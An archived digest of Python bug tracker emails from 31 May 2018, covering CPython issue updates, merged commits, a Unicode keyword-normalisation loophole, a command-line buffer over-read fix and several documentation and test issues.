Fix multiprocessing test_ignore() (GH-7262) https://github.com/python/cpython/commit/9d273344238330d634acb4a7d427a8fb732ae62e ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:04:01 2018 From: report at bugs.python.org (R. David Murray) Date: Thu, 31 May 2018 04:04:01 +0000 Subject: [issue33690] urlib.parse.urlencode with empty list and doseq=True drops the parameter In-Reply-To: <1527656245.94.0.682650639539.issue33690@psf.upfronthosting.co.za> Message-ID: <1527739441.28.0.682650639539.issue33690@psf.upfronthosting.co.za> Change by R. David Murray : ---------- resolution: -> not a bug _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:18:48 2018 From: report at bugs.python.org (Nitin Bhojwani) Date: Thu, 31 May 2018 04:18:48 +0000 Subject: [issue33703] Object deletion and re-creation points to same attribute if attribute is a dictionary. Message-ID: <1527740328.11.0.682650639539.issue33703@psf.upfronthosting.co.za> New submission from Nitin Bhojwani : I observed a strange behaviour while working on a module. This bug is present in multiple python version so seems it is related to core-interpreter. Behaviour can be reproduced by: 1. Create an object and in __init__ of class, we define a dictionary attribute to that object. 2. After that we change that attribute, like assign any key-value(s) to that attribute. 3. Delete the object. 4. recreate the object. 5. If you check, this new object's same attribute(dictionary) is same old attribute which was pointed by the older object. This is a behavioural bug, as once delete is performed on an object the whole object and it's (attributes') references must be removed. I can demonstrate this using a test from unittest, in which I put instance creation in setUp phase, instance deletion in tearDown phase and run same test multiple times. The result is different each time. The zip file contains ngraph.py which defines a class and test_util.py which runs test against it. Unzip and execute as: python test_util.py #2.7.10 python3 test_util.py #3.6.3 ---------- components: Interpreter Core files: test-bug.zip messages: 318241 nosy: Nitin Bhojwani priority: normal severity: normal status: open title: Object deletion and re-creation points to same attribute if attribute is a dictionary. type: behavior versions: Python 3.6 Added file: https://bugs.python.org/file47627/test-bug.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:28:15 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 04:28:15 +0000 Subject: [issue31014] webbrowser._synthesize uses outdated calling signature for webbrowser.register In-Reply-To: <1500906744.5.0.485850012333.issue31014@psf.upfronthosting.co.za> Message-ID: <1527740895.75.0.682650639539.issue31014@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6895 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:28:43 2018 From: report at bugs.python.org (Saba Kauser) Date: Thu, 31 May 2018 04:28:43 +0000 Subject: [issue33704] python 3.7 and python 3.8 stable release Message-ID: <1527740923.47.0.682650639539.issue33704@psf.upfronthosting.co.za> New submission from Saba Kauser : Hi, I am planning to make new release of python ibm_db driver and I wanted to know the stable versions of python beyond python 3.6. I can see python 3.8 marked as "in development" and I do read that python 3.7.0b4 is the final planned beta release preview. Would this mean that I cannot consider python 3.7 and python 3.8 for my next release and I would build only when these are marked stable. Thank you! Saba. ---------- components: Build messages: 318242 nosy: sabakauser priority: normal severity: normal status: open title: python 3.7 and python 3.8 stable release type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:30:06 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 04:30:06 +0000 Subject: [issue31014] webbrowser._synthesize uses outdated calling signature for webbrowser.register In-Reply-To: <1500906744.5.0.485850012333.issue31014@psf.upfronthosting.co.za> Message-ID: <1527741006.3.0.682650639539.issue31014@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: PR 7267 is based on PR 2689, but adds two tests that cover both cases of using webbrowser._synthesize(). ---------- versions: +Python 2.7, Python 3.6, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:30:13 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 04:30:13 +0000 Subject: [issue31014] webbrowser._synthesize uses outdated calling signature for webbrowser.register In-Reply-To: <1500906744.5.0.485850012333.issue31014@psf.upfronthosting.co.za> Message-ID: <1527741013.53.0.682650639539.issue31014@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:34:37 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 04:34:37 +0000 Subject: [issue33677] Fix signatures of tp_clear handlers In-Reply-To: <1527577604.06.0.682650639539.issue33677@psf.upfronthosting.co.za> Message-ID: <1527741277.52.0.682650639539.issue33677@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset a5c42284e69fb309bdd17ee8c1c120d1be383012 by Serhiy Storchaka in branch 'master': bpo-33677: Fix signatures of tp_clear handlers for AST and deque. (GH-7196) https://github.com/python/cpython/commit/a5c42284e69fb309bdd17ee8c1c120d1be383012 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:35:41 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 04:35:41 +0000 Subject: [issue33645] Importing bs4 fails with -3 option in Python 2.7.15 In-Reply-To: <1527239862.03.0.682650639539.issue33645@psf.upfronthosting.co.za> Message-ID: <1527741341.77.0.682650639539.issue33645@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset d5e7556e522f4662ad34b35924b6c76895df340e by Serhiy Storchaka in branch '2.7': bpo-33645: Fix an "unknown parsing error" in the parser. (GH-7119) https://github.com/python/cpython/commit/d5e7556e522f4662ad34b35924b6c76895df340e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:35:57 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 31 May 2018 04:35:57 +0000 Subject: [issue33677] Fix signatures of tp_clear handlers In-Reply-To: <1527577604.06.0.682650639539.issue33677@psf.upfronthosting.co.za> Message-ID: <1527741357.55.0.682650639539.issue33677@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6896 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:36:35 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Thu, 31 May 2018 04:36:35 +0000 Subject: [issue33703] Object deletion and re-creation points to same attribute if attribute is a dictionary. In-Reply-To: <1527740328.11.0.682650639539.issue33703@psf.upfronthosting.co.za> Message-ID: <1527741395.23.0.682650639539.issue33703@psf.upfronthosting.co.za> Benjamin Peterson added the comment: Please see https://docs.python.org/3/faq/programming.html#why-are-default-values-shared-between-objects ---------- nosy: +benjamin.peterson resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:38:02 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 31 May 2018 04:38:02 +0000 Subject: [issue33677] Fix signatures of tp_clear handlers In-Reply-To: <1527577604.06.0.682650639539.issue33677@psf.upfronthosting.co.za> Message-ID: <1527741482.49.0.682650639539.issue33677@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6897 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:39:03 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 04:39:03 +0000 Subject: [issue33641] Add links to RFCs In-Reply-To: <1527200094.65.0.682650639539.issue33641@psf.upfronthosting.co.za> Message-ID: <1527741543.32.0.682650639539.issue33641@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 0a36ac1a09587735237c5978ebd046313922869c by Serhiy Storchaka in branch 'master': bpo-33641: Convert RFC references into links. (GH-7103) https://github.com/python/cpython/commit/0a36ac1a09587735237c5978ebd046313922869c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:40:13 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 31 May 2018 04:40:13 +0000 Subject: [issue33641] Add links to RFCs In-Reply-To: <1527200094.65.0.682650639539.issue33641@psf.upfronthosting.co.za> Message-ID: <1527741613.01.0.682650639539.issue33641@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6898 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:42:58 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 04:42:58 +0000 Subject: [issue33645] Importing bs4 fails with -3 option in Python 2.7.15 In-Reply-To: <1527239862.03.0.682650639539.issue33645@psf.upfronthosting.co.za> Message-ID: <1527741778.43.0.682650639539.issue33645@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I'm not sure that this will fix your case (there may be other bug in BeautifulSoup4 or other changes in your environment), but it fixed a bug in Python. Thank you for your report. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:43:55 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 31 May 2018 04:43:55 +0000 Subject: [issue33704] python 3.7 and python 3.8 stable release In-Reply-To: <1527740923.47.0.682650639539.issue33704@psf.upfronthosting.co.za> Message-ID: <1527741835.72.0.682650639539.issue33704@psf.upfronthosting.co.za> Ned Deily added the comment: We have just updated the release schedule for Python 3.7 to include 3.7.0b5, now available. The 3.7.0 release candidate is now planned for 2018-06-11 with 3.7.0 final to follow on 2018-06-27. We expect 3.7.0 to be adopted quickly but 3.6.x will be still supported for some time in the major distributions. Python 3.8 is now in the early stages of development, with a final release currently planned for 2019-10 although that may change. Information about current Python release plans are contained in and kept up-to-date in their respective PEPs: 3.6 https://www.python.org/dev/peps/pep-0494/ 3.7 https://www.python.org/dev/peps/pep-0537/ 3.8 https://www.python.org/dev/peps/pep-0569/ If you have further questions, please ask them on the Python-Dev mailing list: https://mail.python.org/mailman/listinfo/python-dev ---------- nosy: +ned.deily resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:53:00 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 04:53:00 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527742380.12.0.682650639539.issue32911@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6899 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:53:09 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 31 May 2018 04:53:09 +0000 Subject: [issue33705] Unicode is normalised after keywords are checked for Message-ID: <1527742389.0.0.682650639539.issue33705@psf.upfronthosting.co.za> New submission from Steven D'Aprano : There is a loophole in the Unicode normalisation which allows the creation of names matching keywords. class Spam: locals()['if'] = 1 Spam.?? # U+1D422 U+1D41F # returns 1 Those two characters are 'MATHEMATICAL BOLD SMALL I' and 'MATHEMATICAL BOLD SMALL F'. They ought to be normalised to "if", which is a keyword. Of course Spam.if is a syntax error, and I believe Spam.?? ought to be as well. Another example: py> globals()['for'] = 2 py> ?or 2 I also asked about this here: https://mail.python.org/pipermail/python-dev/2018-May/153619.html ---------- components: Interpreter Core, Unicode messages: 318250 nosy: ezio.melotti, steven.daprano, vstinner priority: normal severity: normal status: open title: Unicode is normalised after keywords are checked for type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:53:13 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 04:53:13 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527742393.52.0.682650639539.issue32911@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6900 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 00:54:23 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 31 May 2018 04:54:23 +0000 Subject: [issue33705] Unicode is normalised after keywords are checked for In-Reply-To: <1527742389.0.0.682650639539.issue33705@psf.upfronthosting.co.za> Message-ID: <1527742463.52.0.682650639539.issue33705@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Possibly the correct term is canonicalisation rather than normalisation, although I think the two are interchangeable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 01:21:49 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 05:21:49 +0000 Subject: [issue33641] Add links to RFCs In-Reply-To: <1527200094.65.0.682650639539.issue33641@psf.upfronthosting.co.za> Message-ID: <1527744109.98.0.682650639539.issue33641@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6901 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 01:31:24 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 31 May 2018 05:31:24 +0000 Subject: [issue33677] Fix signatures of tp_clear handlers In-Reply-To: <1527577604.06.0.682650639539.issue33677@psf.upfronthosting.co.za> Message-ID: <1527744684.49.0.682650639539.issue33677@psf.upfronthosting.co.za> miss-islington added the comment: New changeset a4dd46a47fe1d4fe1f1738c2f5b3712de41056b9 by Miss Islington (bot) in branch '3.7': bpo-33677: Fix signatures of tp_clear handlers for AST and deque. (GH-7196) https://github.com/python/cpython/commit/a4dd46a47fe1d4fe1f1738c2f5b3712de41056b9 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 01:33:25 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 31 May 2018 05:33:25 +0000 Subject: [issue33641] Add links to RFCs In-Reply-To: <1527200094.65.0.682650639539.issue33641@psf.upfronthosting.co.za> Message-ID: <1527744805.58.0.682650639539.issue33641@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 0f1a18326902ad3d0a30fdecbe40513cc5d85879 by Miss Islington (bot) in branch '3.7': bpo-33641: Convert RFC references into links. (GH-7103) https://github.com/python/cpython/commit/0f1a18326902ad3d0a30fdecbe40513cc5d85879 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 01:35:05 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 05:35:05 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527744905.97.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset c2870b699eb899f358b843c2d706ce8ca89b2bf4 by Victor Stinner in branch '3.6': bpo-33532: Fix multiprocessing test_ignore() (GH-7262) (#7266) https://github.com/python/cpython/commit/c2870b699eb899f358b843c2d706ce8ca89b2bf4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 01:35:36 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 05:35:36 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527744936.47.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 82c456fa37d4b87da0d64e574bd8adc665abc4c8 by Victor Stinner in branch '2.7': bpo-33532: Fix multiprocessing test_ignore() (GH-7265) https://github.com/python/cpython/commit/82c456fa37d4b87da0d64e574bd8adc665abc4c8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 02:09:51 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 06:09:51 +0000 Subject: [issue33677] Fix signatures of tp_clear handlers In-Reply-To: <1527577604.06.0.682650639539.issue33677@psf.upfronthosting.co.za> Message-ID: <1527746991.4.0.682650639539.issue33677@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6902 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 02:10:30 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 06:10:30 +0000 Subject: [issue33677] Fix signatures of tp_clear handlers In-Reply-To: <1527577604.06.0.682650639539.issue33677@psf.upfronthosting.co.za> Message-ID: <1527747030.52.0.682650639539.issue33677@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 0fe3be03926c3468ed4c10980d1a030c8ef4e37e by Serhiy Storchaka (Miss Islington (bot)) in branch '3.6': bpo-33677: Fix signatures of tp_clear handlers for AST and deque. (GH-7196) (GH-7269) https://github.com/python/cpython/commit/0fe3be03926c3468ed4c10980d1a030c8ef4e37e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 02:11:09 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 06:11:09 +0000 Subject: [issue33641] Add links to RFCs In-Reply-To: <1527200094.65.0.682650639539.issue33641@psf.upfronthosting.co.za> Message-ID: <1527747069.47.0.682650639539.issue33641@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 55d9e865cb3b50587c17c8a7beee090c4ac8d535 by Serhiy Storchaka in branch '3.6': [3.6] bpo-33641: Convert RFC references into links. (GH-7103) (GH-7276) https://github.com/python/cpython/commit/55d9e865cb3b50587c17c8a7beee090c4ac8d535 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 02:11:58 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 06:11:58 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527747118.51.0.682650639539.issue32911@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 941ec210aaef517cf818b043ec28345962f78465 by Serhiy Storchaka in branch 'master': bpo-32911: Add the historical note about the magic number. (GH-7273) https://github.com/python/cpython/commit/941ec210aaef517cf818b043ec28345962f78465 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 02:12:18 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 06:12:18 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527747138.0.0.682650639539.issue32911@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset d6bbb57855da3f92521edd901f49705be46fb203 by Serhiy Storchaka in branch '3.7': bpo-32911: Update the historical note about the magic number. (GH-7272) https://github.com/python/cpython/commit/d6bbb57855da3f92521edd901f49705be46fb203 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 02:26:33 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 06:26:33 +0000 Subject: [issue33641] Add links to RFCs In-Reply-To: <1527200094.65.0.682650639539.issue33641@psf.upfronthosting.co.za> Message-ID: <1527747993.42.0.682650639539.issue33641@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 02:31:10 2018 From: report at bugs.python.org (Christoph Gohlke) Date: Thu, 31 May 2018 06:31:10 +0000 Subject: [issue33706] Segfault in command line processing due to buffer over-read Message-ID: <1527748270.57.0.682650639539.issue33706@psf.upfronthosting.co.za> New submission from Christoph Gohlke : When testing Python 3.7.0b5 x64 (and betas before) on Windows 10, I occasionally get segfaults when passing a program as string on the command line. The shortest command to reproduce this on my system is `python.exe -c 1` with heap detection turned on but that might not be reproducible on other systems. It turns out there is a buffer over-read when copying the `PyOS_optarg` string in `main.c`. The attached patch fixes the segfault on my system. ---------- files: master...cgohlke patch-1.diff keywords: patch messages: 318260 nosy: cgohlke priority: normal severity: normal status: open title: Segfault in command line processing due to buffer over-read versions: Python 3.7 Added file: https://bugs.python.org/file47628/master...cgohlke patch-1.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 02:33:26 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 06:33:26 +0000 Subject: [issue2504] Add gettext.pgettext() and variants support In-Reply-To: <1206756624.13.0.664664048525.issue2504@psf.upfronthosting.co.za> Message-ID: <1527748406.61.0.682650639539.issue2504@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Do you have a use case for lpgettext() and like? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 02:59:50 2018 From: report at bugs.python.org (Julien Palard) Date: Thu, 31 May 2018 06:59:50 +0000 Subject: [issue33700] [doc] Old version picker don't understand language tags in URL In-Reply-To: <1527716663.86.0.682650639539.issue33700@psf.upfronthosting.co.za> Message-ID: <1527749990.26.0.682650639539.issue33700@psf.upfronthosting.co.za> Julien Palard added the comment: Hi Larry, bringing you in, I'd like your word on this. ---------- nosy: +larry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 03:02:53 2018 From: report at bugs.python.org (Christoph Gohlke) Date: Thu, 31 May 2018 07:02:53 +0000 Subject: [issue33706] Segfault in command line processing due to buffer over-read In-Reply-To: <1527748270.57.0.682650639539.issue33706@psf.upfronthosting.co.za> Message-ID: <1527750173.66.0.682650639539.issue33706@psf.upfronthosting.co.za> Change by Christoph Gohlke : ---------- type: -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 03:30:41 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 07:30:41 +0000 Subject: [issue33706] Segfault in command line processing due to buffer over-read In-Reply-To: <1527748270.57.0.682650639539.issue33706@psf.upfronthosting.co.za> Message-ID: <1527751841.4.0.682650639539.issue33706@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- components: +Interpreter Core nosy: +vstinner priority: normal -> critical versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 03:32:46 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 07:32:46 +0000 Subject: [issue33677] Fix signatures of tp_clear handlers In-Reply-To: <1527577604.06.0.682650639539.issue33677@psf.upfronthosting.co.za> Message-ID: <1527751966.79.0.682650639539.issue33677@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset db1074244d2c12961799f6f9353ae191f59cc497 by Serhiy Storchaka in branch '2.7': [2.7] bpo-33677: Fix the signature of tp_clear handler for deque. (GH-7196). (GH-7277) https://github.com/python/cpython/commit/db1074244d2c12961799f6f9353ae191f59cc497 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 03:33:27 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 31 May 2018 07:33:27 +0000 Subject: [issue33677] Fix signatures of tp_clear handlers In-Reply-To: <1527577604.06.0.682650639539.issue33677@psf.upfronthosting.co.za> Message-ID: <1527752007.71.0.682650639539.issue33677@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 04:05:27 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 31 May 2018 08:05:27 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1527753927.96.0.682650639539.issue33479@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: @markroseman I'm about 50% okay with your changes. Could you create a PR against my branch so we can work out the specifics? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 04:07:28 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 31 May 2018 08:07:28 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527754048.25.0.682650639539.issue33532@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Did your PR fix the issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 04:32:48 2018 From: report at bugs.python.org (KMiNT21) Date: Thu, 31 May 2018 08:32:48 +0000 Subject: [issue29272] test_logging hangs if /etc/hosts only aliases "localhost" to ::1 In-Reply-To: <1484357820.6.0.682177445577.issue29272@psf.upfronthosting.co.za> Message-ID: <1527755568.9.0.682650639539.issue29272@psf.upfronthosting.co.za> KMiNT21 added the comment: The same bug for me: 3.6.5 and 3.6.4 -hangs on test_logging forever. Thanks to this report - I've commented some lines in /etc/host and after 'test_logging' passed OK! ---------- nosy: +KMiNT21 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 04:45:08 2018 From: report at bugs.python.org (Vladimir Chebotarev) Date: Thu, 31 May 2018 08:45:08 +0000 Subject: [issue33698] `._pth` does not allow to populate `sys.path` with empty entry In-Reply-To: <1527700361.05.0.682650639539.issue33698@psf.upfronthosting.co.za> Message-ID: <1527756308.21.0.682650639539.issue33698@psf.upfronthosting.co.za> Vladimir Chebotarev added the comment: Unfortunately this is not true: "Blank lines and lines beginning with # are skipped." (https://docs.python.org/3/library/site.html#index-1) I'm not sure we should change this behavior as it would make huge impact on usage of `pth` files by users (`._pth`, on the contrary, is the only one per distribution and managed by the distribution). I could easily add `''` to `sys.path` manually if I had one script or even dozen of them, but as the solution that alternative is not acceptable. :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 04:46:40 2018 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Thu, 31 May 2018 08:46:40 +0000 Subject: [issue33707] Doc: Message-ID: <1527756400.46.0.682650639539.issue33707@psf.upfronthosting.co.za> New submission from ???? ????????? : https://docs.python.org/3/library/asyncio-sync.html#asyncio.Event : Class implementing event objects. An event manages a flag that can be set to true with the set() method and reset to false with the clear() method. The -----> wait() <----- method blocks until the flag is true. The flag is initially false. this link points to wrong place. ---------- assignee: docs at python components: Documentation, asyncio messages: 318268 nosy: asvetlov, docs at python, socketpair, yselivanov priority: normal severity: normal status: open title: Doc: type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 04:47:15 2018 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Thu, 31 May 2018 08:47:15 +0000 Subject: [issue33707] Doc: In-Reply-To: <1527756400.46.0.682650639539.issue33707@psf.upfronthosting.co.za> Message-ID: <1527756435.88.0.682650639539.issue33707@psf.upfronthosting.co.za> ???? ????????? added the comment: Sorry, I did not ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 04:48:14 2018 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Thu, 31 May 2018 08:48:14 +0000 Subject: [issue33708] Doc: Asyncio's Event documentation typo. Message-ID: <1527756494.64.0.682650639539.issue33708@psf.upfronthosting.co.za> New submission from ???? ????????? : https://docs.python.org/3/library/asyncio-sync.html#asyncio.Event : Class implementing event objects. An event manages a flag that can be set to true with the set() method and reset to false with the clear() method. The -----> wait() <----- method blocks until the flag is true. The flag is initially false. this link points to wrong place. ---------- assignee: docs at python components: Documentation, asyncio messages: 318270 nosy: asvetlov, docs at python, socketpair, yselivanov priority: normal severity: normal status: open title: Doc: Asyncio's Event documentation typo. type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 04:54:10 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 31 May 2018 08:54:10 +0000 Subject: [issue33709] test.support.FS_NONASCII returns incorrect result in Windows with non-US locale Message-ID: <1527756850.06.0.682650639539.issue33709@psf.upfronthosting.co.za> New submission from Ivan Pozdeev : This causes test_ntpath and test_posixpath to fail in subj. Sample failure: ====================================================================== FAIL: test_expandvars_nonascii (__main__.NtCommonTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "c:\Users\Sasha\Documents\cpython\lib\test\test_genericpath.py", line 230 , in test_expandvars_nonascii check(u'$spam bar', u'%s bar' % unonascii) File "c:\Users\Sasha\Documents\cpython\lib\test\test_genericpath.py", line 214 , in check self.assertEqual(expandvars(value), expected) AssertionError: u'? bar' != u'\xe6 bar' - ? bar ? ^ + \xe6 bar ? ^ Cause: if sys.getfilesystemencoding()=='mbcs', encoding Unicode characters that are missing in the current locale succeeds but produces '?'. So, test.support.FS_NONASCII's test fails to detect if a character is present in the current locale. ---------- components: Tests messages: 318271 nosy: Ivan.Pozdeev priority: normal severity: normal status: open title: test.support.FS_NONASCII returns incorrect result in Windows with non-US locale type: behavior versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 04:56:13 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 31 May 2018 08:56:13 +0000 Subject: [issue33709] test.support.FS_NONASCII returns incorrect result in Windows with non-US locale In-Reply-To: <1527756850.06.0.682650639539.issue33709@psf.upfronthosting.co.za> Message-ID: <1527756973.03.0.682650639539.issue33709@psf.upfronthosting.co.za> Change by Ivan Pozdeev : ---------- keywords: +patch pull_requests: +6903 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 05:02:46 2018 From: report at bugs.python.org (Paul Moore) Date: Thu, 31 May 2018 09:02:46 +0000 Subject: [issue33698] `._pth` does not allow to populate `sys.path` with empty entry In-Reply-To: <1527700361.05.0.682650639539.issue33698@psf.upfronthosting.co.za> Message-ID: 